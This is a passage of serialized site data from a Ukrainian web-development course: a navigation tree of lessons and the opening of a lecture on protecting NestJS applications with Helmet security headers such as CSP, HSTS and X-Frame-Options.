автентифікації","\u002Fweb-development\u002Fauthentication\u002F02-authentication-strategies","18.web-development\u002F12.authentication\u002F02-authentication-strategies",{"title":4587,"path":4588,"stem":4589},"Автентифікація на основі сесій","\u002Fweb-development\u002Fauthentication\u002F03-session-based-authentication","18.web-development\u002F12.authentication\u002F03-session-based-authentication",{"title":4591,"path":4592,"stem":4593},"Структура JSON Web Token (JWT)","\u002Fweb-development\u002Fauthentication\u002F04-jwt-structure","18.web-development\u002F12.authentication\u002F04-jwt-structure",{"title":4595,"path":4596,"stem":4597},"Інтеграція JWT у NestJS","\u002Fweb-development\u002Fauthentication\u002F05-nestjs-jwt-integration","18.web-development\u002F12.authentication\u002F05-nestjs-jwt-integration",{"title":4599,"path":4600,"stem":4601},"Passport.js стратегії у NestJS","\u002Fweb-development\u002Fauthentication\u002F06-passport-strategies","18.web-development\u002F12.authentication\u002F06-passport-strategies",{"title":4603,"path":4604,"stem":4605},"Безпечне зберігання паролів: хешування та криптографічний захист","\u002Fweb-development\u002Fauthentication\u002F07-password-hashing","18.web-development\u002F12.authentication\u002F07-password-hashing",{"title":4607,"path":4608,"stem":4609},"Refresh Token та безпечне оновлення доступу","\u002Fweb-development\u002Fauthentication\u002F08-refresh-tokens","18.web-development\u002F12.authentication\u002F08-refresh-tokens",{"title":4611,"path":4612,"stem":4613},"OAuth 2.0 та OpenID Connect: делегована автентифікація","\u002Fweb-development\u002Fauthentication\u002F09-oauth2-openid","18.web-development\u002F12.authentication\u002F09-oauth2-openid",{"title":4615,"icon":4616,"path":4617,"stem":4618,"children":4619,"page":59},"Авторизація та безпека серверних застосунків","i-lucide-shield","\u002Fweb-development\u002Fauthorization-security","18.web-development\u002F13.authorization-security",[4620,4624,4628,4632,4636,4640,4644,4648,4652,4656],{"title":4621,"path":4622,"stem":4623},"Моделі авторизації","\u002Fweb-development\u002Fauthorization-security\u002F01-authorization-models","18.web-development\u002F13.authorization-security\u002F01-authorization-models",{"title":4625,"path":4626,"stem":4627},"Реалізація RBAC у NestJS","\u002Fweb-development\u002Fauthorization-security\u002F02-rbac-implementation","18.web-development\u002F13.authorization-security\u002F02-rbac-implementation",{"title":4629,"path":4630,"stem":4631},"Permission-Based Access Control","\u002Fweb-development\u002Fauthorization-security\u002F03-permission-based-access","18.web-development\u002F13.authorization-security\u002F03-permission-based-access",{"title":4633,"path":4634,"stem":4635},"ABAC та бібліотека CASL","\u002Fweb-development\u002Fauthorization-security\u002F04-abac-casl","18.web-development\u002F13.authorization-security\u002F04-abac-casl",{"title":4637,"path":4638,"stem":4639},"Кастомні декоратори та метадані","\u002Fweb-development\u002Fauthorization-security\u002F05-custom-decorators-metadata","18.web-development\u002F13.authorization-security\u002F05-custom-decorators-metadata",{"title":4641,"path":4642,"stem":4643},"Конфігурація CORS","\u002Fweb-development\u002Fauthorization-security\u002F06-cors-configuration","18.web-development\u002F13.authorization-security\u002F06-cors-configuration",{"title":4645,"path":4646,"stem":4647},"Захист через HTTP Security Headers (Helmet)","\u002Fweb-development\u002Fauthorization-security\u002F07-helmet-security-headers","18.web-development\u002F13.authorization-security\u002F07-helmet-security-headers",{"title":4649,"path":4650,"stem":4651},"Rate Limiting та Throttling","\u002Fweb-development\u002Fauthorization-security\u002F08-rate-limiting-throttling","18.web-development\u002F13.authorization-security\u002F08-rate-limiting-throttling",{"title":4653,"path":4654,"stem":4655},"Захист від поширених атак","\u002Fweb-development\u002Fauthorization-security\u002F09-common-attacks-protection","18.web-development\u002F13.authorization-security\u002F09-common-attacks-protection",{"title":4657,"path":4658,"stem":4659},"HTTPS у продакшені","\u002Fweb-development\u002Fauthorization-security\u002F10-https-production","18.web-development\u002F13.authorization-security\u002F10-https-production",{"title":4661,"icon":871,"path":4662,"stem":4663,"children":4664,"page":59},"Комунікація у реальному часі, нотифікації та фонові задачі","\u002Fweb-development\u002Frealtime-notifications-jobs","18.web-development\u002F14.realtime-notifications-jobs",[4665,4669,4673,4677,4681,4685,4688,4691,4695,4699],{"title":4666,"path":4667,"stem":4668},"Методи комунікації у реальному часі","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F01-realtime-communication-methods","18.web-development\u002F14.realtime-notifications-jobs\u002F01-realtime-communication-methods",{"title":4670,"path":4671,"stem":4672},"WebSocket Gateway у NestJS","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F02-websocket-gateway","18.web-development\u002F14.realtime-notifications-jobs\u002F02-websocket-gateway",{"title":4674,"path":4675,"stem":4676},"Lifecycle та Rooms у WebSocket","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F03-websocket-lifecycle-rooms","18.web-development\u002F14.realtime-notifications-jobs\u002F03-websocket-lifecycle-rooms",{"title":4678,"path":4679,"stem":4680},"Server-Sent Events (SSE)","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F04-server-sent-events","18.web-development\u002F14.realtime-notifications-jobs\u002F04-server-sent-events",{"title":4682,"path":4683,"stem":4684},"Архітектура системи нотифікацій","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F05-notification-system","18.web-development\u002F14.realtime-notifications-jobs\u002F05-notification-system",{"title":904,"path":4686,"stem":4687},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F06-email-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F06-email-notifications",{"title":900,"path":4689,"stem":4690},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F07-web-push-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F07-web-push-notifications",{"title":4692,"path":4693,"stem":4694},"Фонові задачі та черги","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F08-background-jobs-queues","18.web-development\u002F14.realtime-notifications-jobs\u002F08-background-jobs-queues",{"title":4696,"path":4697,"stem":4698},"Планувальники та Cron jobs","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F09-schedulers-cron","18.web-development\u002F14.realtime-notifications-jobs\u002F09-schedulers-cron",{"title":4700,"path":4701,"stem":4702},"Практичні сценарії застосування","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F10-practical-scenarios","18.web-development\u002F14.realtime-notifications-jobs\u002F10-practical-scenarios",{"title":4704,"icon":4705,"path":4706,"stem":4707,"children":4708,"page":59},"Тестування, документування та розгортання застосунків","i-lucide-rocket","\u002Fweb-development\u002Ftesting-documentation-deployment","18.web-development\u002F15.testing-documentation-deployment",[4709,4713,4717,4721,4725,4729,4733,4737,4741,4745],{"title":4710,"path":4711,"stem":4712},"Піраміда тестування та стратегія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F01-testing-pyramid-strategy","18.web-development\u002F15.testing-documentation-deployment\u002F01-testing-pyramid-strategy",{"title":4714,"path":4715,"stem":4716},"Основи Jest у NestJS","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F02-jest-nestjs-basics","18.web-development\u002F15.testing-documentation-deployment\u002F02-jest-nestjs-basics",{"title":4718,"path":4719,"stem":4720},"Unit-тестування сервісів","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F03-unit-testing-services","18.web-development\u002F15.testing-documentation-deployment\u002F03-unit-testing-services",{"title":4722,"path":4723,"stem":4724},"E2E тестування та покриття коду","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F04-e2e-testing-coverage","18.web-development\u002F15.testing-documentation-deployment\u002F04-e2e-testing-coverage",{"title":4726,"path":4727,"stem":4728},"Swagger, OpenAPI, Scalar та Arazzo","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F05-swagger-openapi","18.web-development\u002F15.testing-documentation-deployment\u002F05-swagger-openapi",{"title":4730,"path":4731,"stem":4732},"Керування конфігурацією","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F06-configuration-management","18.web-development\u002F15.testing-documentation-deployment\u002F06-configuration-management",{"title":4734,"path":4735,"stem":4736},"Docker та контейнеризація","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F07-docker-containerization","18.web-development\u002F15.testing-documentation-deployment\u002F07-docker-containerization",{"title":4738,"path":4739,"stem":4740},"CI\u002FCD Pipelines","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F08-cicd-pipelines","18.web-development\u002F15.testing-documentation-deployment\u002F08-cicd-pipelines",{"title":4742,"path":4743,"stem":4744},"Логування та моніторинг","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F09-logging-monitoring","18.web-development\u002F15.testing-documentation-deployment\u002F09-logging-monitoring",{"title":4746,"path":4747,"stem":4748},"Серіалізація та компресія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F10-serialization-compression","18.web-development\u002F15.testing-documentation-deployment\u002F10-serialization-compression",{"title":4750,"icon":4751,"path":4752,"stem":4753,"children":4754,"page":59},"AI Core: мислення AI","i-lucide-brain","\u002Fai-core","19.ai-core",[4755,4796,4845,4883],{"title":4756,"icon":4705,"path":4757,"stem":4758,"children":4759,"page":59},"Вхід у професію AI Native Developer","\u002Fai-core\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer",[4760,4764,4768,4772,4776,4780,4784,4788,4792],{"title":4761,"path":4762,"stem":4763},"Вступ до професії розробника цифрових продуктів","\u002Fai-core\u002Fai-native-developer\u002Fdigital-products","19.ai-core\u002F01.ai-native-developer\u002F01.digital-products",{"title":4765,"path":4766,"stem":4767},"Професія розробника програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fsoftware-developer","19.ai-core\u002F01.ai-native-developer\u002F02.software-developer",{"title":4769,"path":4770,"stem":4771},"Професія AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer\u002F03.ai-native-developer",{"title":4773,"path":4774,"stem":4775},"Вплив AI на розробку програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fai-impact-on-development","19.ai-core\u002F01.ai-native-developer\u002F04.ai-impact-on-development",{"title":4777,"path":4778,"stem":4779},"Життєвий цикл цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fproduct-lifecycle","19.ai-core\u002F01.ai-native-developer\u002F05.product-lifecycle",{"title":4781,"path":4782,"stem":4783},"Застосування AI на етапах створення цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fai-in-product-creation","19.ai-core\u002F01.ai-native-developer\u002F06.ai-in-product-creation",{"title":4785,"path":4786,"stem":4787},"Розподіл завдань між людиною та AI","\u002Fai-core\u002Fai-native-developer\u002Fhuman-vs-ai-tasks","19.ai-core\u002F01.ai-native-developer\u002F07.human-vs-ai-tasks",{"title":4789,"path":4790,"stem":4791},"Компетенції AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcompetencies","19.ai-core\u002F01.ai-native-developer\u002F08.competencies",{"title":4793,"path":4794,"stem":4795},"Карта професійного розвитку AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcareer-roadmap","19.ai-core\u002F01.ai-native-developer\u002F09.career-roadmap",{"title":4797,"icon":255,"path":4798,"stem":4799,"children":4800,"page":59},"Штучний інтелект і машинне навчання","\u002Fai-core\u002Fai-and-machine-learning","19.ai-core\u002F02.ai-and-machine-learning",[4801,4805,4809,4813,4817,4821,4825,4829,4833,4837,4841],{"title":4802,"path":4803,"stem":4804},"Штучний інтелект","\u002Fai-core\u002Fai-and-machine-learning\u002Fwhat-is-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F01.what-is-ai",{"title":4806,"path":4807,"stem":4808},"Відмінність AI від інших програмних систем","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-vs-automation","19.ai-core\u002F02.ai-and-machine-learning\u002F02.ai-vs-automation",{"title":4810,"path":4811,"stem":4812},"Завдання штучного інтелекту","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-tasks","19.ai-core\u002F02.ai-and-machine-learning\u002F03.ai-tasks",{"title":4814,"path":4815,"stem":4816},"Machine Learning","\u002Fai-core\u002Fai-and-machine-learning\u002Fmachine-learning","19.ai-core\u002F02.ai-and-machine-learning\u002F04.machine-learning",{"title":4818,"path":4819,"stem":4820},"Machine Learning Workflow","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-workflow","19.ai-core\u002F02.ai-and-machine-learning\u002F05.ml-workflow",{"title":4822,"path":4823,"stem":4824},"Типи машинного навчання","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-types","19.ai-core\u002F02.ai-and-machine-learning\u002F06.ml-types",{"title":4826,"path":4827,"stem":4828},"Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fgenerative-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F07.generative-ai",{"title":4830,"path":4831,"stem":4832},"Типи контенту, створюваного AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-content-types","19.ai-core\u002F02.ai-and-machine-learning\u002F08.ai-content-types",{"title":4834,"path":4835,"stem":4836},"Великі мовні моделі","\u002Fai-core\u002Fai-and-machine-learning\u002Flarge-language-models","19.ai-core\u002F02.ai-and-machine-learning\u002F09.large-language-models",{"title":4838,"path":4839,"stem":4840},"Можливості та обмеження Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fcapabilities-and-limitations","19.ai-core\u002F02.ai-and-machine-learning\u002F10.capabilities-and-limitations",{"title":4842,"path":4843,"stem":4844},"Сучасні AI-асистенти","\u002Fai-core\u002Fai-and-machine-learning\u002Fmodern-ai-assistants","19.ai-core\u002F02.ai-and-machine-learning\u002F11.modern-ai-assistants",{"title":4846,"icon":4847,"path":4848,"stem":4849,"children":4850,"page":59},"Постановка завдань для AI: принципи створення промптів","i-lucide-message-square-text","\u002Fai-core\u002Fprompt-engineering","19.ai-core\u002F03.prompt-engineering",[4851,4855,4859,4863,4867,4871,4875,4879],{"title":4852,"path":4853,"stem":4854},"Промпт як інструмент","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-as-tool","19.ai-core\u002F03.prompt-engineering\u002F01.prompt-as-tool",{"title":4856,"path":4857,"stem":4858},"Принципи створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-principles","19.ai-core\u002F03.prompt-engineering\u002F02.prompt-principles",{"title":4860,"path":4861,"stem":4862},"Структура промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-structure","19.ai-core\u002F03.prompt-engineering\u002F03.prompt-structure",{"title":4864,"path":4865,"stem":4866},"Види промптів за типом задачі","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-types","19.ai-core\u002F03.prompt-engineering\u002F04.prompt-types",{"title":4868,"path":4869,"stem":4870},"Прийоми посилення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-enhancement","19.ai-core\u002F03.prompt-engineering\u002F05.prompt-enhancement",{"title":4872,"path":4873,"stem":4874},"Розбір і покращення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-analysis","19.ai-core\u002F03.prompt-engineering\u002F06.prompt-analysis",{"title":4876,"path":4877,"stem":4878},"Типові помилки під час створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fcommon-mistakes","19.ai-core\u002F03.prompt-engineering\u002F07.common-mistakes",{"title":4880,"path":4881,"stem":4882},"Практикум: особиста бібліотека промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-library","19.ai-core\u002F03.prompt-engineering\u002F08.prompt-library",{"title":4884,"icon":793,"path":4885,"stem":4886,"children":4887,"page":59},"Перевірка результатів, безпека та AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow","19.ai-core\u002F04.verification-security-workflow",[4888,4892,4896,4900,4904,4908,4912,4916,4920],{"title":4889,"path":4890,"stem":4891},"Межі можливостей AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-limitations","19.ai-core\u002F04.verification-security-workflow\u002F01.ai-limitations",{"title":4893,"path":4894,"stem":4895},"Галюцинації AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-hallucinations","19.ai-core\u002F04.verification-security-workflow\u002F02.ai-hallucinations",{"title":4897,"path":4898,"stem":4899},"Критичне мислення під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fcritical-thinking","19.ai-core\u002F04.verification-security-workflow\u002F03.critical-thinking",{"title":4901,"path":4902,"stem":4903},"Перевірка результатів роботи AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresult-verification","19.ai-core\u002F04.verification-security-workflow\u002F04.result-verification",{"title":4905,"path":4906,"stem":4907},"Захист даних під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fdata-protection","19.ai-core\u002F04.verification-security-workflow\u002F05.data-protection",{"title":4909,"path":4910,"stem":4911},"Авторське право та навчальна доброчесність","\u002Fai-core\u002Fverification-security-workflow\u002Fcopyright-integrity","19.ai-core\u002F04.verification-security-workflow\u002F06.copyright-integrity",{"title":4913,"path":4914,"stem":4915},"Відповідальне використання AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresponsible-use","19.ai-core\u002F04.verification-security-workflow\u002F07.responsible-use",{"title":4917,"path":4918,"stem":4919},"AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow\u002Fai-native-workflow","19.ai-core\u002F04.verification-security-workflow\u002F08.ai-native-workflow",{"title":4921,"path":4922,"stem":4923},"Застосування AI Native Workflow під час створення цифрового продукту","\u002Fai-core\u002Fverification-security-workflow\u002Fworkflow-in-practice","19.ai-core\u002F04.verification-security-workflow\u002F09.workflow-in-practice",{"title":4925,"icon":4926,"path":4927,"stem":4928,"children":4929,"page":59},"AI Developer: Vibe Coding Sprint","i-lucide-code-xml","\u002Fai-developer","20.ai-developer",[4930,4956,4978,4999],{"title":4931,"icon":4932,"path":4933,"stem":4934,"children":4935,"page":59},"Проєктування і чорнова версія","i-lucide-pencil-ruler","\u002Fai-developer\u002Fdraft-creation","20.ai-developer\u002F01.draft-creation",[4936,4940,4944,4948,4952],{"title":4937,"path":4938,"stem":4939},"Парадигма Vibe Coding Workflow","\u002Fai-developer\u002Fdraft-creation\u002Fvibe-coding-workflow","20.ai-developer\u002F01.draft-creation\u002F01.vibe-coding-workflow",{"title":4941,"path":4942,"stem":4943},"AI-середовище швидкої розробки","\u002Fai-developer\u002Fdraft-creation\u002Fai-ide-environment","20.ai-developer\u002F01.draft-creation\u002F02.ai-ide-environment",{"title":4945,"path":4946,"stem":4947},"Користувацьке завдання та межі першої версії","\u002Fai-developer\u002Fdraft-creation\u002Fproduct-scope-and-mvp","20.ai-developer\u002F01.draft-creation\u002F03.product-scope-and-mvp",{"title":4949,"path":4950,"stem":4951},"Архітектура інтерфейсу та стани застосунку","\u002Fai-developer\u002Fdraft-creation\u002Fapplication-architecture-and-states","20.ai-developer\u002F01.draft-creation\u002F04.application-architecture-and-states",{"title":4953,"path":4954,"stem":4955},"Генерація та фіксація чорнової версії","\u002Fai-developer\u002Fdraft-creation\u002Fgenerating-draft-version","20.ai-developer\u002F01.draft-creation\u002F05.generating-draft-version",{"title":4957,"icon":4958,"path":4959,"stem":4960,"children":4961,"page":59},"Перша робоча версія","i-lucide-play-circle","\u002Fai-developer\u002Ffirst-working-version","20.ai-developer\u002F02.first-working-version",[4962,4966,4970,4974],{"title":4963,"path":4964,"stem":4965},"Уточнення контексту проєкту для AI","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-project-context","20.ai-developer\u002F02.first-working-version\u002F01.refining-project-context",{"title":4967,"path":4968,"stem":4969},"Стратегія завдань для AI-розробки","\u002Fai-developer\u002Ffirst-working-version\u002Fai-prompting-strategy","20.ai-developer\u002F02.first-working-version\u002F02.ai-prompting-strategy",{"title":4971,"path":4972,"stem":4973},"Доопрацювання до першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-to-working-version","20.ai-developer\u002F02.first-working-version\u002F03.refining-to-working-version",{"title":4975,"path":4976,"stem":4977},"Перевірка першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Ftesting-first-working-version","20.ai-developer\u002F02.first-working-version\u002F04.testing-first-working-version",{"title":4979,"icon":3028,"path":4980,"stem":4981,"children":4982,"page":59},"Ітерації, дебагінг та відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery","20.ai-developer\u002F03.iteration-debugging-recovery",[4983,4987,4991,4995],{"title":4984,"path":4985,"stem":4986},"Управління точковими змінами продукту","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fchange-management","20.ai-developer\u002F03.iteration-debugging-recovery\u002F01.change-management",{"title":4988,"path":4989,"stem":4990},"Надійність інтерфейсу та обробка помилок","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fscenario-reliability-and-errors","20.ai-developer\u002F03.iteration-debugging-recovery\u002F02.scenario-reliability-and-errors",{"title":4992,"path":4993,"stem":4994},"Керування контекстом і збереження версій","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fproject-context-and-versions","20.ai-developer\u002F03.iteration-debugging-recovery\u002F03.project-context-and-versions",{"title":4996,"path":4997,"stem":4998},"Збої AI-розробки, ліміти та аварійне відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fai-breakdowns-and-recovery","20.ai-developer\u002F03.iteration-debugging-recovery\u002F04.ai-breakdowns-and-recovery",{"title":5000,"icon":5001,"path":5002,"stem":5003,"children":5004,"page":59},"Перевірка та завершення продукту","i-lucide-check-check","\u002Fai-developer\u002Fverification-and-completion","20.ai-developer\u002F04.verification-and-completion",[5005,5009,5013],{"title":5006,"path":5007,"stem":5008},"Комплексний аудит та підсумкове тестування","\u002Fai-developer\u002Fverification-and-completion\u002Ffinal-product-testing","20.ai-developer\u002F04.verification-and-completion\u002F01.final-product-testing",{"title":5010,"path":5011,"stem":5012},"Підготовка підсумкової версії коду","\u002Fai-developer\u002Fverification-and-completion\u002Fpreparing-release-version","20.ai-developer\u002F04.verification-and-completion\u002F02.preparing-release-version",{"title":5014,"path":5015,"stem":5016},"Демонстрація, публікація та критерії оцінювання","\u002Fai-developer\u002Fverification-and-completion\u002Fproduct-showcase-and-publishing","20.ai-developer\u002F04.verification-and-completion\u002F03.product-showcase-and-publishing",{"title":5018,"path":5019,"stem":5020,"children":5021,"page":59},"Tailwind","\u002Ftailwind","21.tailwind",[5022,5026,5030,5034,5038,5042,5046,5050,5054,5058,5062,5066],{"title":5023,"path":5024,"stem":5025},"Що таке Tailwind CSS і навіщо він потрібен","\u002Ftailwind\u002Ftailwind-intro-philosophy","21.tailwind\u002F01.tailwind-intro-philosophy",{"title":5027,"path":5028,"stem":5029},"Встановлення та налаштування Tailwind CSS v4","\u002Ftailwind\u002Ftailwind-installation-setup","21.tailwind\u002F02.tailwind-installation-setup",{"title":5031,"path":5032,"stem":5033},"Utility-класи: основи та система Tailwind","\u002Ftailwind\u002Ftailwind-utility-classes-core","21.tailwind\u002F03.tailwind-utility-classes-core",{"title":5035,"path":5036,"stem":5037},"Layout: Flexbox та Grid через Tailwind","\u002Ftailwind\u002Ftailwind-flexbox-grid","21.tailwind\u002F04.tailwind-flexbox-grid",{"title":5039,"path":5040,"stem":5041},"Кастомізація теми через @theme у Tailwind v4","\u002Ftailwind\u002Ftailwind-theme-customization","21.tailwind\u002F05.tailwind-theme-customization",{"title":5043,"path":5044,"stem":5045},"Варіанти: hover, focus, responsive, dark mode та нові v4","\u002Ftailwind\u002Ftailwind-variants-states","21.tailwind\u002F06.tailwind-variants-states",{"title":5047,"path":5048,"stem":5049},"Типографіка та система кольорів у Tailwind v4","\u002Ftailwind\u002Ftailwind-typography-colors","21.tailwind\u002F07.tailwind-typography-colors",{"title":5051,"path":5052,"stem":5053},"Компоненти та повторюваність: @apply, @utility та патерни","\u002Ftailwind\u002Ftailwind-components-patterns","21.tailwind\u002F08.tailwind-components-patterns",{"title":5055,"path":5056,"stem":5057},"Темна тема та система дизайн-токенів у Tailwind v4","\u002Ftailwind\u002Ftailwind-dark-mode-theming","21.tailwind\u002F09.tailwind-dark-mode-theming",{"title":5059,"path":5060,"stem":5061},"Довільні значення та контейнерні запити у Tailwind v4","\u002Ftailwind\u002Ftailwind-arbitrary-container-queries","21.tailwind\u002F10.tailwind-arbitrary-container-queries",{"title":5063,"path":5064,"stem":5065},"Анімації, трансформації та 3D у Tailwind v4","\u002Ftailwind\u002Ftailwind-animations-transforms","21.tailwind\u002F11.tailwind-animations-transforms",{"title":5067,"path":5068,"stem":5069},"Tailwind CLI, PostCSS та інтеграція з фреймворками","\u002Ftailwind\u002Ftailwind-cli-tooling","21.tailwind\u002F12.tailwind-cli-tooling",{"title":5071,"path":5072,"stem":5073},"Тестування компонентів діаграм","\u002Ftest-components","98.test-components",{"id":5075,"title":4645,"body":5076,"description":5417,"extension":13519,"links":13520,"meta":13521,"navigation":5563,"path":4646,"seo":13522,"stem":4647,"__hash__":13523},"docs\u002F18.web-development\u002F13.authorization-security\u002F07-helmet-security-headers.md",{"type":5077,"value":5078,"toc":13443},"minimark",[5079,5083,5088,5092,5145,5148,5151,5211,5213,5217,5220,5231,5236,5247,5252,5269,5284,5288,5389,5391,5395,5400,5404,5472,5476,5483,5684,5693,5696,5781,5791,5793,5797,5806,5810,5815,5820,5911,5916,5924,5927,5931,5941,5958,5963,5980,5994,5998,6005,6176,6181,6284,6288,6291,6622,6647,6651,6658,6793,6798,7078,7083,7156,7158,7162,7170,7174,7179,7375,7378,7382,7439,7444,7486,7491,7505,7564,7568,7578,7608,7613,7670,7672,7676,7690,7694,7701,7707,7713,7717,7720,7734,7739,7774,7783,7787,7871,7876,7907,7921,7925,7935,7948,7953,8032,8038,8052,8056,8059,8184,8186,8190,8204,8208,8213,8280,8284,8295,8340,8345,8359,8364,8388,8397,8399,8403,8410,8414,8419,8422,8428,8435,8449,8454,8458,8512,8517,8668,8673,8701,8705,8728,8735,8738,8764,8770,8772,8776,8782,8786,8796,8800,8949,8953,8967,8972,8994,8998,9165,9169,9172,9274,9301,9303,9307,9314,9318,9329,9333,9390,9394,9408,9413,9421,9426,9428,9432,9435,10030,10037,10297,10299,10303,10307,10316,10322,10335,10340,10420,10454,10458,10461,10467,10472,10487,10491,10498,10595,10599,10614,10624,10839,10844,10941,10945,10950,10953,10992,10995,11006,11011,11017,11085,11090,11096,11148,11150,11154,11158,11414,11419,11537,11541,11743,11748,11779,11781,11785,11789,11792,11943,11949,11953,11956,11961,12038,12043,12075,12079,12082,12267,12271,12274,12379,12381,12385,12389,12395,12401,12405,12533,12537,12546,12551,12555,12647,12653,12669,12673,12678,12683,12692,12735,12741,12745,12750,12761,12765,12820,12824,12829,12839,12844,12916,12918,12922,13322,13324,13328,13434,13440],[5080,5081,4645],"h1",{"id":5082},"захист-через-http-security-headers-helmet",[5084,5085,5087],"h2",{"id":5086},"короткий-зміст","Короткий зміст",[5089,5090,5091],"p",{},"У цій лекції розглядається захист веб-застосунків через налаштування HTTP security headers:",[5093,5094,5095,5103,5109,5115,5121,5127,5133,5139],"ul",{},[5096,5097,5098,5102],"li",{},[5099,5100,5101],"strong",{},"Helmet"," — бібліотека для автоматичного додавання захисних HTTP заголовків, інтеграція через middleware у NestJS, набір з 15+ заголовків безпеки",[5096,5104,5105,5108],{},[5099,5106,5107],{},"Content Security Policy (CSP)"," — контроль джерел завантаження ресурсів (scripts, styles, images), захист від XSS атак через обмеження inline scripts та eval()",[5096,5110,5111,5114],{},[5099,5112,5113],{},"X-Frame-Options"," — захист від clickjacking атак через заборону вбудовування сторінки у iframe, значення DENY, SAMEORIGIN, ALLOW-FROM",[5096,5116,5117,5120],{},[5099,5118,5119],{},"Strict-Transport-Security (HSTS)"," — примусове використання HTTPS, автоматичне перенаправлення всіх HTTP запитів на HTTPS, preload lists браузерів",[5096,5122,5123,5126],{},[5099,5124,5125],{},"X-Content-Type-Options"," — заборона MIME-type sniffing, захист від виконання файлів з неправильним Content-Type",[5096,5128,5129,5132],{},[5099,5130,5131],{},"Referrer-Policy"," — контроль передачі Referer header для захисту приватності користувачів, значення no-referrer, same-origin, strict-origin",[5096,5134,5135,5138],{},[5099,5136,5137],{},"Permissions-Policy"," — контроль доступу до браузерних API (camera, microphone, geolocation, payment), заміна старого Feature-Policy",[5096,5140,5141,5144],{},[5099,5142,5143],{},"X-DNS-Prefetch-Control"," — контроль DNS prefetching для мінімізації витоку інформації про відвідані сайти",[5089,5146,5147],{},"Розглядаються налаштування для різних сценаріїв: SPA застосунки з CDN, SSR застосунки з inline styles, CSP reporting для моніторингу порушень політики безпеки.",[5149,5150],"hr",{},[5152,5153,5154,5176],"card-group",{},[5155,5156,5159],"card",{"icon":5157,"title":5158},"i-lucide-target","🎯 Мета лекції",[5093,5160,5161,5164,5167,5170,5173],{},[5096,5162,5163],{},"Опанувати налаштування HTTP security headers для захисту веб-застосунків від типових атак.",[5096,5165,5166],{},"Навчитися інтегрувати Helmet у NestJS проєкти для автоматичного додавання захисних заголовків.",[5096,5168,5169],{},"Зрозуміти призначення кожного security header та сценарії його застосування.",[5096,5171,5172],{},"Налаштувати Content Security Policy для захисту від XSS атак без порушення функціональності SPA.",[5096,5174,5175],{},"Впровадити HSTS для примусового використання HTTPS у продакшені.",[5155,5177,5179],{"icon":4574,"title":5178},"🔑 Ключові терміни",[5093,5180,5181,5187,5193,5199,5205],{},[5096,5182,5183,5186],{},[5099,5184,5185],{},"Security Headers:"," HTTP заголовки відповіді, що вказують браузеру правила безпеки для відображення та виконання контенту.",[5096,5188,5189,5192],{},[5099,5190,5191],{},"CSP (Content Security Policy):"," політика, що визначає дозволені джерела завантаження ресурсів (scripts, styles, images, fonts).",[5096,5194,5195,5198],{},[5099,5196,5197],{},"HSTS (HTTP Strict Transport Security):"," заголовок, що примушує браузер завжди використовувати HTTPS для домену.",[5096,5200,5201,5204],{},[5099,5202,5203],{},"Clickjacking:"," атака, при якій зловмисник вбудовує легітимну сторінку у невидимий iframe для обману користувача.",[5096,5206,5207,5210],{},[5099,5208,5209],{},"MIME Sniffing:"," спроба браузера визначити тип файлу за його вмістом, ігноруючи Content-Type 